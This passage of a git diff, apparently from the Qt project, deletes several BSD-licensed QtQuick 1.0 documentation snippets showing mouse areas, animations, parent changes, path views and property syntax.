Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -//! [parent begin] -Rectangle { -//! [parent begin] - width: 500; height: 500 - color: "green" - - Column { - //! [anchor fill] - Rectangle { - id: button - width: 100; height: 100 - - MouseArea { - anchors.fill: parent - onClicked: console.log("button clicked") - } - MouseArea { - width:150; height: 75 - onClicked: console.log("irregular area clicked") - } - } - //! [anchor fill] - - Rectangle { - width: 100; height: 100 - - //! [enable handlers] - MouseArea { - hoverEnabled: true - acceptedButtons: Qt.LeftButton | Qt.RightButton - onEntered: console.log("mouse entered the area") - onExited: console.log("mouse left the area") - } - //! [enable handlers] - } - - Rectangle { - width: 100; height: 100 - - //! [mouse handlers] - MouseArea { - anchors.fill: parent - onClicked: console.log("area clicked") - onDoubleClicked: console.log("area double clicked") - onEntered: console.log("mouse entered the area") - onExited: console.log("mouse left the area") - } - //! [mouse handlers] - } - - } //end of column -//! [parent end] -} -//! [parent end] -//! [document] diff --git a/doc/src/snippets/qtquick1/mousearea/mousearea.qml b/doc/src/snippets/qtquick1/mousearea/mousearea.qml deleted file mode 100644 index 804f516216..0000000000 --- a/doc/src/snippets/qtquick1/mousearea/mousearea.qml +++ /dev/null @@ -1,117 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [import] -import QtQuick 1.0 -//! [import] - -Rectangle { - width: childrenRect.width - height: childrenRect.height - - Row { - //! [intro] - Rectangle { - width: 100; height: 100 - color: "green" - - MouseArea { - anchors.fill: parent - onClicked: { parent.color = 'red' } - } - } - //! [intro] - - //! [intro-extended] - Rectangle { - width: 100; height: 100 - color: "green" - - MouseArea { - anchors.fill: parent - acceptedButtons: Qt.LeftButton | Qt.RightButton - onClicked: { - if (mouse.button == Qt.RightButton) - parent.color = 'blue'; - else - parent.color = 'red'; - } - } - } - //! [intro-extended] - - //! [drag] - Rectangle { - id: container - width: 600; height: 200 - - Rectangle { - id: rect - width: 50; height: 50 - color: "red" - opacity: (600.0 - rect.x) / 600 - - MouseArea { - anchors.fill: parent - drag.target: rect - drag.axis: Drag.XAxis - drag.minimumX: 0 - drag.maximumX: container.width - rect.width - } - } - } - //! [drag] - - //! [mousebuttons] - Text { - text: mouseArea.pressedButtons & Qt.RightButton ? "right" : "" - horizontalAlignment: Text.AlignHCenter - verticalAlignment: Text.AlignVCenter - - MouseArea { - id: mouseArea - anchors.fill: parent - acceptedButtons: Qt.LeftButton | Qt.RightButton - } - } - //! [mousebuttons] - - } -} diff --git a/doc/src/snippets/qtquick1/mousearea/mouseareadragfilter.qml b/doc/src/snippets/qtquick1/mousearea/mouseareadragfilter.qml deleted file mode 100644 index 07a5fe832f..0000000000 --- a/doc/src/snippets/qtquick1/mousearea/mouseareadragfilter.qml +++ /dev/null @@ -1,72 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [dragfilter] -import QtQuick 1.0 - -Rectangle { - width: 480 - height: 320 - Rectangle { - x: 30; y: 30 - width: 300; height: 240 - color: "lightsteelblue" - - MouseArea { - anchors.fill: parent - drag.target: parent; - drag.axis: "XAxis" - drag.minimumX: 30 - drag.maximumX: 150 - drag.filterChildren: true - - Rectangle { - color: "yellow" - x: 50; y : 50 - width: 100; height: 100 - MouseArea { - anchors.fill: parent - onClicked: console.log("Clicked") - } - } - } - } -} -//! [dragfilter] diff --git a/doc/src/snippets/qtquick1/numberanimation.qml b/doc/src/snippets/qtquick1/numberanimation.qml deleted file mode 100644 index fa2dfa5846..0000000000 --- a/doc/src/snippets/qtquick1/numberanimation.qml +++ /dev/null @@ -1,51 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -Rectangle { - width: 100; height: 100 - color: "red" - - NumberAnimation on x { to: 50; duration: 1000 } -} -//![0] - diff --git a/doc/src/snippets/qtquick1/parallelanimation.qml b/doc/src/snippets/qtquick1/parallelanimation.qml deleted file mode 100644 index ba7dc12c80..0000000000 --- a/doc/src/snippets/qtquick1/parallelanimation.qml +++ /dev/null @@ -1,56 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -Rectangle { - id: rect - width: 100; height: 100 - color: "red" - - ParallelAnimation { - running: true - NumberAnimation { target: rect; property: "x"; to: 50; duration: 1000 } - NumberAnimation { target: rect; property: "y"; to: 50; duration: 1000 } - } -} -//![0] - diff --git a/doc/src/snippets/qtquick1/parentanimation.qml b/doc/src/snippets/qtquick1/parentanimation.qml deleted file mode 100644 index 667712abab..0000000000 --- a/doc/src/snippets/qtquick1/parentanimation.qml +++ /dev/null @@ -1,73 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Item { - width: 200; height: 100 - - Rectangle { - id: redRect - width: 100; height: 100 - color: "red" - } - - Rectangle { - id: blueRect - x: redRect.width - width: 50; height: 50 - color: "blue" - - states: State { - name: "reparented" - ParentChange { target: blueRect; parent: redRect; x: 10; y: 10 } - } - - transitions: Transition { - ParentAnimation { - NumberAnimation { properties: "x,y"; duration: 1000 } - } - } - - MouseArea { anchors.fill: parent; onClicked: blueRect.state = "reparented" } - } -} -//![0] - diff --git a/doc/src/snippets/qtquick1/parentchange.qml b/doc/src/snippets/qtquick1/parentchange.qml deleted file mode 100644 index 4b03042fbe..0000000000 --- a/doc/src/snippets/qtquick1/parentchange.qml +++ /dev/null @@ -1,67 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Item { - width: 200; height: 100 - - Rectangle { - id: redRect - width: 100; height: 100 - color: "red" - } - - Rectangle { - id: blueRect - x: redRect.width - width: 50; height: 50 - color: "blue" - - states: State { - name: "reparented" - ParentChange { target: blueRect; parent: redRect; x: 10; y: 10 } - } - - MouseArea { anchors.fill: parent; onClicked: blueRect.state = "reparented" } - } -} -//![0] - diff --git a/doc/src/snippets/qtquick1/pathview/ContactModel.qml b/doc/src/snippets/qtquick1/pathview/ContactModel.qml deleted file mode 100644 index 34739e6b06..0000000000 --- a/doc/src/snippets/qtquick1/pathview/ContactModel.qml +++ /dev/null @@ -1,58 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -ListModel { - ListElement { - name: "Bill Jones" - icon: "pics/qtlogo.png" - } - ListElement { - name: "Jane Doe" - icon: "pics/qtlogo.png" - } - ListElement { - name: "John Smith" - icon: "pics/qtlogo.png" - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/pathview/pathattributes.qml b/doc/src/snippets/qtquick1/pathview/pathattributes.qml deleted file mode 100644 index 183e8b4039..0000000000 --- a/doc/src/snippets/qtquick1/pathview/pathattributes.qml +++ /dev/null @@ -1,79 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [0] -import QtQuick 1.0 - -Rectangle { - width: 240; height: 200 - -//! [1] - Component { - id: delegate - Item { - width: 80; height: 80 - scale: PathView.iconScale - opacity: PathView.iconOpacity - Column { - Image { anchors.horizontalCenter: nameText.horizontalCenter; width: 64; height: 64; source: icon } - Text { id: nameText; text: name; font.pointSize: 16 } - } - } - } -//! [1] - -//! [2] - PathView { - anchors.fill: parent - model: ContactModel {} - delegate: delegate - path: Path { - startX: 120; startY: 100 - PathAttribute { name: "iconScale"; value: 1.0 } - PathAttribute { name: "iconOpacity"; value: 1.0 } - PathQuad { x: 120; y: 25; controlX: 260; controlY: 75 } - PathAttribute { name: "iconScale"; value: 0.3 } - PathAttribute { name: "iconOpacity"; value: 0.5 } - PathQuad { x: 120; y: 100; controlX: -20; controlY: 75 } - } - } -//! [2] -} -//! [0] diff --git a/doc/src/snippets/qtquick1/pathview/pathview.qml b/doc/src/snippets/qtquick1/pathview/pathview.qml deleted file mode 100644 index a6d52a41ce..0000000000 --- a/doc/src/snippets/qtquick1/pathview/pathview.qml +++ /dev/null @@ -1,80 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [0] -import QtQuick 1.0 - -Rectangle { - width: 240; height: 200 - -//! [1] - Component { - id: delegate - Column { - id: wrapper - Image { - anchors.horizontalCenter: nameText.horizontalCenter - width: 64; height: 64 - source: icon - } - Text { - id: nameText - text: name - font.pointSize: 16 - color: wrapper.PathView.isCurrentItem ? "red" : "black" - } - } - } -//! [1] - -//! [2] - PathView { - anchors.fill: parent - model: ContactModel {} - delegate: delegate - path: Path { - startX: 120; startY: 100 - PathQuad { x: 120; y: 25; controlX: 260; controlY: 75 } - PathQuad { x: 120; y: 100; controlX: -20; controlY: 75 } - } - } -//! [2] -} -//! [0] diff --git a/doc/src/snippets/qtquick1/properties.qml b/doc/src/snippets/qtquick1/properties.qml deleted file mode 100644 index 5ffc4e39b8..0000000000 --- a/doc/src/snippets/qtquick1/properties.qml +++ /dev/null @@ -1,315 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -//! [parent begin] -Rectangle { -//! [parent begin] - - //! [inherited properties] - width: 320; height: 240 - color: "lightblue" - focus: true - //! [inherited properties] - - //! [custom properties] - property int counter - property real area: 100.45 - //! [custom properties] - - //! [property types] - property int number - property real volume: 100.45 - property date today: "2011-01-01" - property color background: "yellow" - //! [property types] - - -//! [grouped properties] -Text { - //dot notation - font.pixelSize: 12 - font.bold: true -} - -Text { - //group notation - font {pixelSize: 12; bold: true} -} -//! [grouped properties] - - -//! [property binding] -Rectangle { - width: parent.width -} -//! [property binding] - -//! [property assignment] -Rectangle { - Component.onCompleted: { - width = 150 - } -} -//! [property assignment] - -Rectangle { - //placeholder slider - id: slider - property real value -} -Rectangle { - //placeholder system - id: system - property real brightness -} -//! [binding element] -Binding { - target: system - property: "brightness" - value: slider.value -} -//! [binding element] - -Rectangle { - //placeholder warning - id: warning - color: "red" -} -//! [PropertyChanges element] -Rectangle { - id: rectangle - - states: State { - name: "WARNING" - PropertyChanges { - target: rectangle - color: warning.color - } - } -} -//! [PropertyChanges element] - -//! [list property] -Item { - id: multistate - states: [ - State {name: "FETCH"}, - State {name: "DECODE"}, - State {name: "EXECUTE"} - ] -} -//! [list property] -//! [single property] -Item { - id: monostate - states: State {name: "RUNNING"} -} -//! [single property] 